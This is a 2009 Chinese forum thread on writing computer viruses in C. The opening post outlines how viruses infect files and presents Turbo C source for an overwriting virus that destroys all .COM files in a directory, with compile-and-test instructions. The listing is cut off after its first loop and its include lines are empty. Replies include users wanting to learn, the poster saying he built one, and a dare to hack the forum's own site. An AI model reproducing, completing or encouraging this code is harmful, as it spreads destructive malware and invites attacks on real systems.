找回密码
 注册
搜索
热搜: 嘉康利
查看: 737|回复: 11

利用C编写病毒

[复制链接]
发表于 2009-7-4 16:14:23 | 显示全部楼层 |阅读模式
C,是程序员最常用的编程语言之一。类似C等高级编程语言为开发人员提供了大量的内置函数,可以方便程序员编写各种跨平台的安心的应用编程。对于编写病毒而言,也方便了程序员来用自己擅长的语言来编写,但同时也带来了很多弊端。第一,许多高级语言的编程并不基于底层系统,即使是C也不太容易。这就导致这类的大都数病毒的传播机制十分原始(通常是通过重写来实现);另一方面的不足是,大多用高级语言编写的病毒至少有10K,然而更多是比这还更大,这对病毒来说可行不通。如此大的一个常驻内存的病毒将是不切实际的,因为当一大块内存不明不白的消失时,这很容易引起用户的注意。

  另一种用高级语言编写的是代码病毒(source-code virus)。这类病毒极其罕见,但是这类病毒是非常高效的。代码病毒的机制,简而言之,搜索同一类语言的代码文件,比如说,它可能会搜找全部以“.C”为扩展名的C文件,然后它会把自己的加到那个文件里(通常以添加一个包含此程序的头文件然后在main()函数中添加一个调用),这使病毒在编译这文件时至少执行一次。编译之后,病毒一般会隐藏在这程序里潜伏,直到找到另一个C文件。

  不管病毒采用哪种方式,所有的病毒都具有如下一些共同的基本特性:

  1.搜寻一个文件进行感染,这文件可以是可执行文件,源代码文件,或是什么都行(若没找到,则跳转到第三步)

  2.把病毒本体写入此文件

  3.检查有没可满足的触发条件

  4.返回宿主程序或是停止运行并返回到DOS

  对于重写型病毒(Overwriting Virus),它的实现方式很简单。唯一的不足是,它们会摧毁被感染的文件,这使它们很容易被发现。唯一弥补的办法是,找到所有的被感染的文件并删除它们,然后从备件那里恢复。下面这个病毒是用C写的比较简单的重写型病毒,它会感染当前目录下的所有.COM文件,然后把它们彻底删除。每当它感觉到一个文件,它会在屏幕上打印出“Infecting [FILENAME]”(感染 [文件名])警告。如果你想把它编译并测试,则首先编译它,然后用EXE2BIN把它转化成.BIN文件,之后检查它的最终大小。如果不等于9504K,则改写这行:“x=9054;”成适当的大小。它会以一种很原始的方式:删除所有的它命中.COM文件,因此得相当小心这病毒。

  代码:

      - - ------------------ Cut Here -------------------------- - -  
  /* This is a simple overwriting virus programmed in Turbo C */  
  /* It will infect all .COM files in the current directory */  
  /* Infections destroy the programs and cannot be cured */  
  /* It was presented in Virology 101 © 1993 Black Wolf */  
  /* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */  
  #include   
  #include   
  #include   
  FILE *Virus,*Host;  
  int x,y,done;  
  char buff[256];  
  struct ffblk ffblk;  
  main()  
  {  
  done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */  
  while (!done) /* Loop for all COM's in DIR*/
发表于 2009-7-4 16:16:32 | 显示全部楼层
病毒的话肯定不只一种语言 应该跟汇编结合起来的吧
回复

使用道具 举报

 楼主| 发表于 2009-7-4 16:17:56 | 显示全部楼层
一般话都是C语言 学好C语言走遍天下都不怕
回复

使用道具 举报

发表于 2009-7-4 16:29:57 | 显示全部楼层
怕这个,给烦死了
回复

使用道具 举报

发表于 2009-7-4 16:42:43 | 显示全部楼层
一般话都是C语言 学好C语言走遍天下都不怕
背影 发表于 2009-7-4 16:17

这是事实 不过真要不怕 还真得学点汇编
回复

使用道具 举报

发表于 2009-7-4 17:02:29 | 显示全部楼层
哇,又是C语言
回复

使用道具 举报

 楼主| 发表于 2009-7-4 17:03:20 | 显示全部楼层
6# 慌着钙余


哈哈^_^
回复

使用道具 举报

发表于 2009-7-4 18:57:55 | 显示全部楼层
看8懂
回复

使用道具 举报

发表于 2009-7-4 20:07:03 | 显示全部楼层
我也想学诶。
回复

使用道具 举报

 楼主| 发表于 2009-7-4 20:09:44 | 显示全部楼层
9# qichanghao


可以找说明做啊,我都做了个,不过没什么意思,一下给卡巴杀掉了
回复

使用道具 举报

发表于 2009-7-4 20:44:56 | 显示全部楼层
哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈。。。。。。。。。。。。。。。。。看不懂
回复

使用道具 举报

发表于 2009-7-4 20:48:46 | 显示全部楼层
1# 背影


呵呵呵呵呵呵........你敢不敢黑一下BBS.AIGANYU........一下啊
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|AIGANYU.COM

GMT+8, 2024-11-28 13:37 , Processed in 0.290477 second(s), 17 queries .

Powered by Discuz! AiGanYu

© 2001-2024 Discuz! Team

快速回复 返回顶部 返回列表